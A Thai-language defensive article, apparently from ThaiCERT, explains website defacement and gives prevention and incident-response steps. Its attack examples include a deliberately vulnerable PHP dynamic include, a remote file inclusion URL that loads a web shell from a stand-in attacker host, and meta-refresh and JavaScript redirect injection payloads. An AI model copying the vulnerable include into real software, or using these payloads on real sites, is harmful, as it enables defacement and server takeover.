แสดงบทความที่มีป้ายกำกับ ช่องโหว่เว็บไซต์ แสดงบทความทั้งหมด
แสดงบทความที่มีป้ายกำกับ ช่องโหว่เว็บไซต์ แสดงบทความทั้งหมด

รู้จักและป้องกันภัยจาก Website Defacement

รู้จักและป้องกันภัยจาก Website Defacement

ผู้เขียน: พรพรหม ประภากิตติกุล 

เว็บไซต์ถูกใช้เป็นเครื่องมือที่สำคัญของหน่วยงานต่างๆในการสื่อสาร ประชาสัมพันธ์ หรือให้บริการออนไลน์ต่างๆกับผู้ใช้งานผ่านเครือข่ายอินเทอร์เน็ตสาธารณะ ด้วยลักษณะของบริการเว็บไซต์ที่เปิดให้ผู้ใช้งานสามารถเข้าถึงได้อยู่ตลอดเวลา ทำให้บริการเว็บไซต์ที่ไม่มีการรักษาความมั่นคงปลอดภัยที่ดี มีความเสี่ยงจากการถูกโจมตีจากผู้ไม่ประสงค์ดีได้อยู่ตลอดเวลาเช่นกัน โดยภัยคุกคามรูปแบบหนึ่งที่มักจะเกิดขึ้นกับบริการเว็บไซต์ คือการโจมตีเว็บไซต์เพื่อเปลี่ยนแปลงข้อมูลเผยแพร่หน้าเว็บ (Website Defacement) ซึ่งผู้โจมตีมีวัตถุประสงค์เพื่อปรับเปลี่ยนหน้าเว็บไซต์แรกของเว็บไซต์เป้าหมาย หรือทั้งเว็บไซต์ จากเดิมไปเป็นหน้าเว็บไซต์ใหม่ การกระทำเช่นนี้อาจไม่ได้ก่อความเสียหายที่รุนแรงอะไรมากนัก เพียงแต่มีความต้องการเพื่อทำลายความน่าเชื่อถือของหน่วยงานเจ้าของเว็บไซต์ ซึ่งในเว็บไซต์ที่ถูกโจมตีส่วนใหญ่จะปรากฎรูปภาพหรือข้อความที่บ่งบอกถึงว่าเว็บไซต์ได้ถูกโจมตีได้สำเร็จ

โดยรูปแบบของการโจมตีในลักษณะ Website Defacement เป็นการโจมตีที่นิยมมากที่สุดในหมู่ผู้โจมตีหรือแฮกเกอร์เนื่องจากสามารถเข้าโจมตีได้ง่ายและการโจมตีมักได้ผลทางด้านการสูญเสียความน่าเชื่อถืออย่างรวดเร็ว รวมถึงสามารถต่อยอดในการโจมตีส่วนประกอบหรือบริการอื่นๆบนเครื่องแม่ข่ายนั้นๆด้วย ยิ่งหากผู้พัฒนาหรือผู้ดูแลระบบไม่มีการปิดช่องโหว่ดังกล่าวแล้ว อาจทำให้ผู้โจมตีสามารถทำความเสียหายซ้ำแล้วซ้ำเล่าจากรูปแบบเดิมๆ จนสุดท้ายอาจทำให้ถูกแจ้งเตือนบนหน้าเว็บไซต์ของผู้ให้บริการ Search engine ต่างๆเช่น Google, Yahoo เป็นต้น


ภาพที่ 1 แสดงให้เห็นถึงการแจ้งเตือนถึงเว็บไซต์ที่ถูกโจมตีจากเว็บไซต์ Serach engine ของ Google


ภาพที่ 2 แสดงให้เห็นถึงหน้าเว็บไซต์หลักแห่งหนึ่งที่ถูก Defacement

วิธีการหรือเทคนิคที่ผู้โจมตีใช้ในการเข้าปรับเปลี่ยนข้อมูลเผยแพร่ต่างๆบนหน้าเว็บไซต์ได้ มีอยู่หลายวิธี เช่น การโจมตีต่อเว็บไซต์ไซต์โดยตรง หรือการโจมตีต่อระบบปฏิบัติการของเครื่องที่ให้บริการเว็บไซต์จนสามารถเข้าควบคุมการทำงานของเครื่องบริการเว็บไซต์ (Web Server) นั้นๆได้ ส่งผลให้ผู้โจมตีสามารถเข้าปรับเปลี่ยนข้อมูลในเว็บไซต์เป้าหมายได้ตามต้องการ ซึ่งในที่นี้ขอยกตัวอย่างช่องโหว่และเทคนิคที่ผู้โจมตีใช้เพื่อเข้าปรับเปลี่ยนหน้าเวบไซต์เป้าหมาย ที่พบอยู่เสมอดังนี้
1. ช่องโหว่ที่เกิดจากการเรียกใช้ฟังก์ชั่น Include File พบในการพัฒนาโปรแกรมด้วยภาษา PHP ที่มีความซับซ้อนและเป็นระบบที่มีองค์ประกอบหลายส่วน จึงทำให้ต้องมีการแยกพัฒนาแต่ละโมดูลของระบบและสุดท้ายนำกลับมารวบรวมที่หน้าหลัก ด้วยการเรียกใช้ฟังก์ชั่น include ซึ่งในที่นี้ขอยกตัวอย่างการใช้งานดังนี้

//ไฟล์ index.php
<?php
// รับค่าจากโพรโตคอล HTTP ใน method GET ผ่านพารามิเตอร์ชื่อ page แล้วเก็บลงตัวแปรชื่อ page
$page = $_GET['page'];
// ฟังก์ชั่น include ไฟล์ซึ่งในที่นี้ให้เรียกตามชื่อไฟล์ตรงๆคือ config.php
include (“config.php”);
// ฟังก์ชั่น include ไฟล์ซึ่งในที่นี้ให้เป็นลักษณะ dynamic include จากตัวแปรชื่อ page
include ($page);
?>
//

ซึ่งจากตัวอย่างข้างต้น ผู้โจมตีจะอาศัยช่องโหว่จากการใช้งานฟังก์ชั่น include นี้ เพื่อลักลอบแทรกส่วนประกอบของซอร์ซโค้ดที่เป็นอันตรายลงไป ผ่านโพรโทคอล HTTP ใน method GET โดยวิธีการแทรกซอร์ซโค้ดอันตราย ผู้โจมตีสามารถทำได้โดยการเรียก URL ผ่านเว็บเบราว์เซอร์ได้ทันที ยกตัวอย่างลักษณะการโจมตีเช่น


1.1 ผู้โจมตีจะเปิดเว็บเบราว์เซอร์ และเรียกไป URL => http://donothackme/index.php?page=http://iamhacker/shell.php ซึ่งสามารถอธิบายความหมายแต่ละส่วนดังนี้
http://donothackme => เป็นโดเมนที่ผู้โจมตีมีจุดประสงค์จะเข้าเปลี่ยนหน้าเว็บไซต์
index.php?page.... => เป็นการเรียกใช้งานไฟล์สคริปต์ชื่อ index.php ซึ่งในที่นี้มีการส่งค่าผ่านไปยัง method GET ของระบบ โดยการส่งค่าผ่านตัวแปรชื่อ page ในการเรียกไฟล์สคริปต์นี้ด้วย
http://iamhacker/shell.php => เป็น URL ปลายทางที่เก็บไฟล์สคริปต์อันตรายของผู้โจมตี โดยจุดประสงค์ของการส่งค่า URL นี้ เพื่อต้องการให้เว็บไซต์เป้าหมายรันไฟล์สคริปต์อันตรายที่ต้องการ ซึ่งโดยปกติไฟล์สคริปต์อันตรายที่ผู้โจมตีนำมาใช้มักจะเป็นไฟล์สคริปต์ที่มีคุณสมบัติในการค้นหาช่องโหว่บนเว็บไซต์เป้าหมาย ซึ่งปกติเรียกเราจะเรียกไฟล์สคริปต์พวกนี้ว่าเป็น Web Shell ยกตัวอย่างเช่น C99 R57 หรือ WSO Shell เป็นต้น


ภาพที่ 3 แสดงให้เห็นหน้าเว็บไซต์เมื่อมีการเรียกไฟล์สคริปต์ประเภท Web Shell

1.2 เมื่อผู้โจมตีเปิดไปยัง URL ในข้อ 1 แล้ว ซึ่งจะพบว่าเว็บเบราว์เซอร์ จะแสดงหน้าที่เป็นไฟล์สคริปต์ชื่อ shell.php ซึ่งเป็นไฟล์สคริปต์อันตรายที่ผู้โจมตีต้องการใช้ โดยฟังก์ชั่นการใช้งานของผู้โจมตีพบว่าจะเลือกใช้งานในส่วนที่เป็นโมดูลการอัพโหลดหรือจัดการไฟล์บน เว็บไซต์ เพื่อทำการอัพโหลดหรือปรับเปลี่ยนไฟล์ของเว็บไซต์เป้าหมายในส่วนต่างๆตามที่ได้กล่าวไว้ตอนต้นเกี่ยวกับจุดประสงค์ของผู้โจมตี
การโจมตีในลักษณะนี้จะเรียกว่าการโจมตีแบบ Remote File Inclusion [1]



2. ช่องโหว่จากการเรียกใช้ระบบการอัพโหลดไฟล์บนหน้าเว็บไซต์เป้าหมาย โดยปกติการอัพโหลดไฟล์รูปภาพหรือไฟล์ใดๆขึ้นบนเว็บไซต์จะพบว่าการเก็บไฟล์นั้นๆ ระบบจะเก็บไฟล์ที่ถูกอัพโหลดไว้บนเว็บไซต์ และหากระบบที่พัฒนาในการอัพโหลดไฟล์ไม่ได้มีการตรวจสอบเนื้อหาหรือส่วนประกอบต่างๆของไฟล์ก่อนนำไปวางบนเครื่องแม่ข่ายจริงแล้วนั้นเท่ากับว่าผู้โจมตีจะสามารถใช้ช่องโหว่ดังกล่าวในการอัพโหลดไฟล์สคริปต์อันตรายดังเช่นในไฟล์ shell.php ในข้อ 1 ขึ้นไปบนเว็บไซต์ ได้ทันที ส่งผลลัพธ์ให้ผู้โจมตีสามารถรันไฟล์สคริปต์อันตรายบนเครื่องเว็บไซต์เป้าหมาย และเข้าทำการอัพโหลดหรือปรับเปลี่ยนไฟล์ของเว็บไซต์เป้าหมายในส่วนต่างๆตามที่ได้กล่าวไว้ตอนต้นเกี่ยวกับจุดประสงค์ของผู้โจมตี
การโจมตีในลักษณะนี้จะเรียกว่าการโจมตีแบบ Unrestricted File Upload [2] สามารถพบได้แพร่หลายและเป็นที่นิยมในหมู่ผู้โจมตีเนื่องจากค้นหาช่องโหว่ได้ง่าย


3. ช่องโหว่จากการเรียกใช้ข้อมูลที่ป้อนเข้าสู่ระบบโดยผู้ใช้งาน โดยปกติเว็บไซต์ส่วนใหญ่มักจะ มีช่องทางให้ผู้ใช้งานสามารถกรอกข้อมูลหรือพิมพ์ข้อความต่างๆในเว็บไซต์ เช่น เพื่อให้ข้อมูลต่างๆ ในระบบลงทะเบียน พิมพ์บัญชีชื่อและรหัสผ่านในระบบการพิสูจน์ตัวจริง (Authentication) หรือการพิมพ์ข้อความเพื่อแสดงความคิดเห็นต่างๆ บนเว็บบอร์ด ซึ่งหากระบบที่พัฒนาไม่มีการตรวจสอบ Input/Output ก็จะส่งผลให้ผู้โจมตีสามารถใช้ช่องโหว่ตรงนี้ในการแทรก HTML syntax ต่างๆเข้าสู่ระบบได้ ซึ่งเมื่อผู้โจมตีกรอกข้อมูลดังกล่าวและ submit ข้อมูลเข้าในระบบสำเร็จแล้ว จะทำให้ผู้ใช้งานที่เปิดเข้ามายังเว็บไซต์เป้าหมายดังกล่าวก็จะเจอกับ HTML syntax ที่ผู้โจมตีแทรกเข้าไป ซึ่งโดยปกติผู้โจมตีจะส่งค่า syntax ที่สั่งการให้เว็บเบราว์เซอร์ redirect ไปยังเว็บไซต์ปลายทางที่ตั้งไว้
โดยตัวอย่างของ syntax ในลักษณะนี้เช่น <META HTTP-EQUIV=”refresh” content=”1; URL=http://youcanhack”> อธิบายตามคำสั่งของ syntax ได้ว่าให้ Refresh หน้าเว็บไซต์ไปยัง เว็บไซต์ปลายทางที่ http://youcanhack โดยผลลัพธ์ที่ปรากฎถึงแม้เว็บไซต์เป้าหมายจะยังไม่ได้ถูกเข้าควบคุมได้โดยผู้โจมตี หรือถูกแก้ไขหน้าเว็บไซต์เหมือนดังข้อ 1,2 เพียงแต่มีการถูกสอดแทรก HTML syntax เพื่อตั้งค่า Redirect page ไว้เท่านั้น แต่ก็ทำให้ผู้เข้าชมเข้าใจว่าเว็บไซต์นี้ได้ถูกผู้โจมตีเข้าควบคุมแล้ว
การโจมตีในลักษณะนี้จะเรียกว่าการโจมตีแบบ HTML Injection [3]

4. ช่องโหว่จากการใช้บริการจากผู้ให้บริการภายนอก (Third-Party Service [4]) เช่น บริการ DNS หรือ บริการ Hosting หรือ Web Hosting เป็นต้น
ในบางครั้งการโจมตีอาจไม่ได้เกิดขึ้นที่เว็บไซต์เป้าหมายโดยตรง แต่เกิดขึ้นกับบริการภายนอกอื่นๆที่เราเลือกใช้ เช่นบริการ DNS หรือบริการ Hosting ที่เป็นระบบโครงสร้างพื้นฐานของบริการเว็บไซต์ ซึ่งเมื่อผู้โจมตีสามารถเจาะผ่านช่องโหว่ต่างๆจนเข้าควบคุมบริการนั้นๆได้แล้ว ก็จะเข้าทำการปรับแก้ไขฟังก์ชั่นการทำงานส่วนต่างๆของบริการนั้นๆ เพื่อทำให้หน้าเว็บไซต์ของเราเปลี่ยนแปลงไป ในกรณีของการเข้าควบคุม Hosting Control Panel ก็จะมีการปรับปรุงหรือเปลี่ยนแปลงซอร์ซโค้ดของเว็บไซต์ เพื่อให้เห็นว่าหน้าเว็บไซต์เป้าหมายถูกโจมตีสำเร็จ แต่ถ้าเป็นลักษณะของผู้โจมตีสามารถเข้าถึงบริการ DNS ได้โดยตรง ทำให้ผู้โจมตีสามารถปรับเพิ่ม Redirect record ในส่วนของระบบเพื่อให้ผู้ใช้งานเข้าใจว่าเว็บไซต์ดังกล่าวถูกควบคุมได้สำเร็จแล้วต่อไป

ตัวอย่างการโจมตีลักษณะ Website Defacement

Zone-H : เมื่อวันที่ 4 กันยายน 2554 เว็บไซต์ Zone-H.org ได้รายงานถึงเว็บไซต์ที่โดนปรับเปลี่ยนหน้าเว็บไซต์ ( Website Defacement ) ประกอบไปด้วยเว็บไซต์ UPS, TheRegister, Acer, Telegraph, Vodafone [5][6] ซึ่งผู้โจมตีใช้การโจมตีด้วยวิธีการ Sql Injection [7] ผ่านทาง DNS control panel (netnames.co.uk) [8] เพื่อปรับค่า DNS Record ของเว็บไซต์ดังกล่าว ซึ่งผลลัพธ์ของการโจมตีครั้งนี้ คือผู้ที่เปิดหน้าเว็บไซต์ดังกล่าวจะพบว่าหน้าเว็บไซต์ที่ต้องการเข้าถึงได้ถูกกลุ่มผู้โจมตีปรับเปลี่ยนหน้าแรกและแสดงข้อความในลักษณะที่แจ้งว่าเว็บไซต์ถูกแฮก (“4 Sept. We TurkGu­ven­ligi declare this day as World Hack­ers Day - Have fun ; ) h4ck y0u”)

ควรรับมืออย่างไร

1. สำหรับเว็บไซต์ที่พัฒนาด้วยภาษา PHP ควรปรับปรุงค่าที่อยู่ใน php.ini [9] (เป็นไฟล์ที่ใช้ปรับแต่งการตั้งค่าต่างๆของ PHP ) โดยการตั้งค่าเพื่อไม่ให้สคริปต์ต่างๆสามารถเรียกใช้งานฟังก์ชั่นที่อาจก่อให้ช่องโหว่ในการเรียกใช้ไฟล์สคริปต์อันตรายจาก URL ภายนอกได้ ซึ่งมีค่าที่ควรกำหนดดังนี้
allow_URL_fopen off -> ไม่อนุญาตให้ใช้ฟังก์ชั่น fopen สำหรับการเปิดไฟล์ข้อมูลที่ส่งมาเป็น URL (fopen เป็นฟังก์ชั่นที่ใช้สำหรับเปิดไฟล์โดยสามารถระบุเป็นชื่อไฟล์บนเครื่องแม่ข่ายหรือเป็น URL จากเครื่องภายนอก)
allow_URL_include off -> ไม่อนุญาตให้ใช้ฟังก์ชั่น include ไฟล์สคริปต์ที่เป็น URL เพื่อป้องกันการโจมตีผ่านช่องโหว่ Remote file inclusion

2. ควรมีการตรวจสอบ Input/Output ในทุกๆครั้งที่มีการรับส่งข้อมูลบนเว็บไซต์ เพื่อป้องกันการส่งค่าที่เป็นอันตรายในการเข้าโจมตีเว็บไซต์ หรือในทุกๆเว็บไซต์ที่พัฒนาขึ้นควรแบ่งแยกประเภทและชนิดของข้อมูลที่รับส่งให้ชัด เพื่อให้ง่ายต่อการพัฒนาฟังก์ชั่นสำหรับตรวจสอบต่อไป ยกตัวอย่างเช่น หากมีรับค่าการกรอกข้อมูล สิ่งที่ผู้พัฒนาระบบ/เว็บไซต์ควรทำคือ ต้องมีการตรวจสอบแบ่งว่าข้อมูลที่ได้รับจากผู้ใช้งานในแต่ละส่วนนั้น จะต้องตรงตามรูปแบบและข้อกำหนดของแต่ละประเภทก่อนจะนำไปประมวลผลต่อ ไม่ควรปล่อยให้ข้อมูลที่ส่งเข้ามาไปประมวลผลเลย เพื่อป้องกันความเสียหายที่อาจเกิดขึ้นจากการถูกโจมตี

3. ควรมีการตรวจสอบประเภทของไฟล์ (File Extension) ในส่วนที่ผ่านกระบวนการอัพโหลดไฟล์เข้ามา
เพื่อป้องกันการอัพโหลดไฟล์สคริปต์อันตรายหรือไฟล์ที่จะก่อให้เกิดปัญหาบนเครื่องแม่ข่ายของเว็บไซต์ ซึ่งผู้พัฒนาเว็บไซต์เองควรมีการกำหนดขอบเขตและประเภทของไฟล์ที่อนุญาตให้สามารถอัพโหลดได้ (Whitelist)

4. ไม่เปิดสิทธิ์ในการอ่านเขียนไฟล์ซอร์ซโค้ดของเว็บไซต์ให้กับผู้อื่นและหมั่นตรวจสอบการวันที่มีการอัพเดทไฟล์อยู่เสมอ
เนื่องจากการโจมตีโดยการปรับเปลี่ยนหน้าเว็บไซต์ส่วนใหญ่เกิดขึ้นจากการที่ผู้โจมตีใช้สิทธิ์ของไฟล์สคริปต์อันตรายซึ่งเป็นสิทธิ์ของผู้ให้บริการเว็บไซต์ (Webserver) [10] ที่ใช้ในการดำเนินการใดๆ เช่น การแก้ไขหรืออัพโหลดไฟล์ซอร์ซโค้ดของเว็บไซต์, การอ่านไฟล์ที่ตั้งค่าเชื่อมต่อฐานข้อมูลของเว็บไซต์ เพราะฉะนั้นจึงควรระมัดระวังในการให้สิทธิ์ของไฟล์ซอร์ซโค้ดของเว็บไซต์ให้ดี โดยการจัดการสิทธิ์ของไฟล์ซอร์ซโค้ดของเว็บไซต์ที่ดีควรเริ่มจากการที่อัพโหลดไฟล์ต่างๆด้วยสิทธิ์ผู้ใช้งานของตนเอง ไม่ใช่ผ่านหน้าเว็บอัพโหลดใดๆเพราะจะทำให้สิทธิ์ของไฟล์ต่างๆที่อยู่บนระบบเป็นของเว็บเซิร์ฟเวอร์ไปโดยปริยาย และหากมีไฟล์ส่วนไหนที่จำเป็นต้องถูกแก้ไขได้โดยเว็บเซิร์ฟเวอร์จึงค่อยเปิดสิทธิ์และคอยระวังตรวจสอบไฟล์เหล่านั่นว่ามีการถูกเปลี่ยนแปลงหรือไม่ เพื่อเป็นข้อมูลสำหรับการพิจารณาความผิดปกติที่อาจจะเกิดขึ้น

5. หากเป็นระบบที่ใช้ซอร์ฟแวร์แพคเกจที่พัฒนาจากผู้พัฒนาภายนอก (Third party) เช่น Joomla [11] Wordpress [12] หรือ Drupal [13] ให้ผู้ดูแลระบบคอยหมั่นตรวจเช็คข้อมูลจากเวบไซต์ผู้พัฒนาอยู่เสมอๆว่ามีช่องโหว่ใดๆเกิดขึ้นกับระบบบ้างและพิจารณาถึงช่องโหว่ดังกล่าวว่ามีใช้งานบนระบบหรือเว็บไซต์ของเราหรือไม่ เพื่อเป็นข้อมูลในการตัดสินใจว่ามีความจำเป็นต้องอัพเดทซอร์ฟแวร์แพคเกจนั้นๆหรือไม่

6. เมื่อได้รับแจ้งหรือพบว่าเว็บไซต์ที่ดูแลถูกโจมตีและเปลี่ยนแปลงแก้ไข (Defacement) ให้ตรวจสอบ URL ที่พบเห็นเพื่อวิเคราะห์ว่าผู้โจมตีนั้น โจมตีเข้ามาด้วยวิธีการใด โดยสามารถแนะนำขั้นตอนในการตรวจสอบปัญหาเบื้องดังนี้


6.1 ตรวจสอบโดยการเปิดเว็บเบราว์เซอร์ไปยัง URL ที่ได้รับแจ้ง จากนั้นให้พิจารณาดูว่าการ Defacement ที่แจ้งมาเป็นการสั่ง Redirect ต่อไปยังเว็บไซต์ปลายทางของผู้โจมตีหรือไม่ (สามารถตรวจสอบได้จากชื่อ Url ที่เปลื่ยนไปแสดงว่าเป็นการ Redirect) ซึ่งหากเป็นลักษณะของการ Redirect URL ต่อไปยังเว็บไซต์อื่น ให้ผู้ดูแลเข้าตรวจสอบฐานข้อมูลว่ามีข้อมูลแปลกปลอมจำพวก Syntax ของการ Redirect ซ่อนอยู่ที่ใดหรือไม่ เช่น อาจพบว่ามีการแทรกข้อมูล <meta HTTP-EQUIV="REFRESH" content="0; url=http://......"> หรือ <script langauge="JavaScript">window.location='http://......';</script> อยู่ในฐานข้อมูลของกระดานสนทนาทำให้เกิดการ Redirect ไปยังหน้าเว็บไซต์ผู้โจมตีอยู่ตลอดเวลา ซึ่งเมื่อพบข้อมูลดังที่กล่าวมา ให้ผู้ดูแลรีบลบข้อมูลเหล่านั้นทิ้งทันทีและรีบแก้ไขช่องโหว่ที่คาดว่าเป็นต้นเหตุให้ผู้โจมตีเข้ามาสร้างปัญหาซ้ำได้อีก แต่หากไม่พบข้อมูลต้องสงสัยบนเว็บไซต์หรือฐานข้อมูลของเว็บไซต์ให้ผู้ดูแลแจ้งไปยังผู้ให้บริการภายนอกต่างๆเพื่อตรวจสอบว่ามีการเข้าโจมตีที่เว็บไซต์ผู้ให้บริการเหล่านั้นหรือไม่

6.2 ตรวจสอบว่ามีไฟล์สคริปต์อันตรายประเภท Web shell อยู่บนเครื่องแม่ข่ายที่ให้บริการเว็บไซต์อยู่หรือไม่ โดยการใช้โปรแกรมแอนตี้ไวรัสทั่วไปสแกนไปยังพื้นที่ของเว็บไซต์บนเครื่องแม่ข่ายของเว็บไซต์ที่ดูแล แต่หากเป็นการใช้งานเครื่องแม่ข่ายจากผู้ให้บริการภายนอกซึ่งไม่สามารถติดตั้งโปรแกรมแอนตี้ไวรัสได้ ให้ก๊อปปี้ข้อมูลออกมาจากเครื่องแม่ข่ายผู้ให้บริการดังกล่าวแล้วนำมาสแกนยังเครื่องตนเอง ซึ่งโดยปกติแล้วไฟล์สคริปต์อันตรายประเภท Web shell จะถูกสแกนพบได้จากโปรแกรมแอนตี้ไวรัสทั่วไปอยู่แล้ว ซึ่งเมื่อพบไฟล์ดังกล่าวให้ลบทิ้งเพื่อเป็นการจำกัดการเข้าโจมตีซ้ำในอนาคตและหาช่องโหว่ที่คาดว่าจะเป็นต้นเหตุของการสั่งรันไฟล์สคริปต์อันตรายนั้นได้ (แนวทางการค้นหาช่องโหว่ได้กล่าวไว้ในข้างต้นแล้ว) จากนั้นจึงตรวจสอบว่ามีไฟล์อื่นที่พบการเปลี่ยนแปลงอีกหรือไม่แล้วจึงกู้คืนไฟล์ซอร์ซโค้ดที่ถูกผู้โจมตีเปลี่ยนแปลงไปกลับคืน
หมายเหตุขั้นตอนการกู้คืนซอร์ซโค้ดอาจกระทำก่อนการหาช่องโหว่ของปัญหาก็ได้ เพราะอาจส่งผลในแง่ของความน่าเชื่อถือของเว็บไซต์ แต่ผู้เขียนพยายามจะให้เห็นถึงความสำคัญของการปิดกั้นช่องโหว่เพราะจะได้เป็นการแก้ปัญหาอย่างถาวร



7. ข้อเสนอแนะที่มีเกี่ยวกับการใช้บริการจากภายนอกสามารถแนะนำได้ดังนี้

7.1 ควรตรวจสอบผู้ให้บริการที่มีความน่าเชื่อถือและมีความตระหนักถึงความปลอดภัยของระบบ ดังจะสังเกตได้จากการให้ความรู้บนเว็บไซต์ของผู้ให้บริการต่างๆและการสอบถามถึงกระบวนการดูแลรักษาความปลอดภัยของข้อมูลโดยตรงจากผู้ให้บริการ

7.2 ควรมีการสำรองข้อมูลของเว็บไซต์ไว้ที่อื่นนอกเหนือจากบนเครื่องแม่ข่ายที่เช่าใช้บริการอยู่ เพราะหากพบกรณีที่เว็บไซต์ถูกเปลี่ยนแปลงหรือแก้ไขซอร์ซโค้ด จะได้สามารถกู้คืนข้อมูลได้อย่างสมบูรณ์และรวดเร็ว

ขอบคุณแหล่งข้อมูลจาก : https://www.thaicert.or.th/